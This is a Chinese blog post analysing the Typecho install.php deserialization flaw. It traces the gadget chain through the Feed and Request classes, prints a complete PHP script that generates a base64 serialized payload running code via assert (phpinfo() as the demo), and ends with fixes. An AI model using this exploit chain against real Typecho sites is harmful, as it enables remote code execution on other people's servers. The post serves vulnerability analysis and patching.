Typecho 反序列化漏洞导致前台 getshell

Posted 2020-10-14

前言

最早知道这个漏洞是在一个微信群里，说是install.php文件里面有个后门，看到别人给的截图一看就知道是个PHP反序列化漏洞，赶紧上服务器看了看自己的博客，发现自己也中招了，相关代码如下：

然后果断在文件第一行加上了die:

<?php die(‘404 Not Found!‘); ?>

今天下午刚好空闲下来，就赶紧拿出来代码看看。

漏洞分析

先从install.php开始跟，229-235行：

<?php$config = unserialize(base64_decode(Typecho_Cookie::get(‘__typecho_config‘)));
Typecho_Cookie::delete(‘__typecho_config‘);
$db = new Typecho_Db($config[‘adapter‘], $config[‘prefix‘]);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);?>

要让代码执行到这里需要满足一些条件：

//判断是否已经安装if (!isset($_GET[‘finish‘]) && file_exists(__TYPECHO_ROOT_DIR__ . ‘/config.inc.php‘) && empty($_SESSION[‘typecho‘])) {    exit;
}// 挡掉可能的跨站请求if (!empty($_GET) || !empty($_POST)) {    if (empty($_SERVER[‘HTTP_REFERER‘])) {        exit;
    }

    $parts = parse_url($_SERVER[‘HTTP_REFERER‘]);    if (!empty($parts[‘port‘]) && $parts[‘port‘] != 80 && !Typecho_Common::isAppEngine()) {
        $parts[‘host‘] = "{$parts[‘host‘]}:{$parts[‘port‘]}";
    }    if (empty($parts[‘host‘]) || $_SERVER[‘HTTP_HOST‘] != $parts[‘host‘]) {        exit;
    }
}

首先是$_GET[‘finish‘]不为空，其次是referer需要是本站，比较容易实现。

继续跟反序列化的地方：

$config = unserialize(base64_decode(Typecho_Cookie::get(‘__typecho_config‘)));

首先使用Typecho_Cookie的get方法获取__typecho_config，get方法如下：

public static function get($key, $default = NULL){
    $key = self::$_prefix . $key;
    $value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);    return is_array($value) ? $default : $value;
}

可以看到给$value赋值这一行，如果$_COOKIE里面没有就从$_POST里面获取，所以我们测试漏洞的时候直接POST也是可以的，不用每次设置Cookie了。

反序列化漏洞要利用势必离不开魔术方法，我之前收集了一些和PHP反序列化有关的PHP函数：

__wakeup() //使用unserialize时触发__sleep() //使用serialize时触发__destruct() //对象被销毁时触发__call() //在对象上下文中调用不可访问的方法时触发__callStatic() //在静态上下文中调用不可访问的方法时触发__get() //用于从不可访问的属性读取数据__set() //用于将数据写入不可访问的属性__isset() //在不可访问的属性上调用isset()或empty()触发__unset() //在不可访问的属性上使用unset()时触发__toString() //把类当作字符串使用时触发__invoke() //当脚本尝试将对象调用为函数时触发

下面这一行中，如果我们反序列化构造一个数组，其中adapter设置为一个类，那么就可以触发这个类的__toString()方法。

然后我们全局搜索__toString()方法，发现两个有搞头的文件：

/var/Typecho/Feed.php
/var/Typecho/Db/Query.php

我这里跟一下Feed.php，查看Feed.php的__toString（）方法，其中第290行：

foreach ($this->_items as $item) {
    $content .= ‘<item>‘ . self::EOL;
    $content .= ‘<title>‘ . htmlspecialchars($item[‘title‘]) . ‘</title>‘ . self::EOL;
    $content .= ‘<link>‘ . $item[‘link‘] . ‘</link>‘ . self::EOL;
    $content .= ‘<guid>‘ . $item[‘link‘] . ‘</guid>‘ . self::EOL;
    $content .= ‘<pubDate>‘ . $this->dateFormat($item[‘date‘]) . ‘</pubDate>‘ . self::EOL;
    $content .= ‘<dc:creator>‘ . htmlspecialchars($item[‘author‘]->screenName) . ‘</dc:creator>‘ . self::EOL;    //省略........}

其中调用了$item[‘author‘]->screenName，$item是$this->_items的foreach循环出来的，并且$this->_items是Typecho_Feed类的一个private属性。

我们可以利用这个$item来调用某个类的__get()方法，上面说过__get()方法是用于从不可访问的属性读取数据，实际执行中这里会获取该类的screenName属性，如果我们给$item[‘author‘]设置的类中没有screenName就会执行该类的__get()方法，我们继续来全局搜索一下__get()方法。

发现/var/Typecho/Request.php中的__get()方法如下：

public function __get($key){    return $this->get($key);
}

跟进$this->get()方法如下：

public function get($key, $default = NULL){    switch (true) {        case isset($this->_params[$key]):
            $value = $this->_params[$key];            break;        case isset(self::$_httpParams[$key]):
            $value = self::$_httpParams[$key];            break;        default:
            $value = $default;            break;
    }

    $value = !is_array($value) && strlen($value) > 0 ? $value : $default;    return $this->_applyFilter($value);
}

这里没什么问题，但最后一行：

return $this->_applyFilter($value);

跟进一下发现：

private function _applyFilter($value){    if ($this->_filter) {        foreach ($this->_filter as $filter) {
            $value = is_array($value) ? array_map($filter, $value) :
            call_user_func($filter, $value);
        }

        $this->_filter = array();
    }    return $value;
}

这个foreach里面判断如果$value是数组就执行array_map否则调用call_user_func，这俩函数都是执行代码的关键方法。而这里$filter和$value我们几乎都是可以间接控制的，所以就可以利用call_user_func或者array_map来执行代码，比如我们设置$filter为数组，第一个数组键值是assert，$value设置php代码，即可执行。

然后我们来完成Exploit如下：

<?phpclass Typecho_Feed{    const RSS1 = ‘RSS 1.0‘;    const RSS2 = ‘RSS 2.0‘;    const ATOM1 = ‘ATOM 1.0‘;    const DATE_RFC822 = ‘r‘;    const DATE_W3CDTF = ‘c‘;    const EOL = "\n";    private $_type;    private $_items;    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(            ‘title‘ => ‘1‘,            ‘link‘ => ‘1‘,            ‘date‘ => 1508895132,            ‘category‘ => array(new Typecho_Request()),            ‘author‘ => new Typecho_Request(),
        );
    }
}class Typecho_Request{    private $_params = array();    private $_filter = array();    public function __construct(){
        $this->_params[‘screenName‘] = ‘phpinfo()‘;
        $this->_filter[0] = ‘assert‘;
    }
}

$exp = array(    ‘adapter‘ => new Typecho_Feed(),    ‘prefix‘ => ‘typecho_‘);echo base64_encode(serialize($exp));

然后运行该php，使用输出的payload访问：

至此该漏洞复现成功。

修复方法

• 官方今天发布了1.1Beta版本修复了该漏洞，升级该版本，链接：http://typecho.org/archives/133/

• 
  

• 也可以删除掉install.php和install目录。

本文出自 “李世龙” 博客，谢绝转载！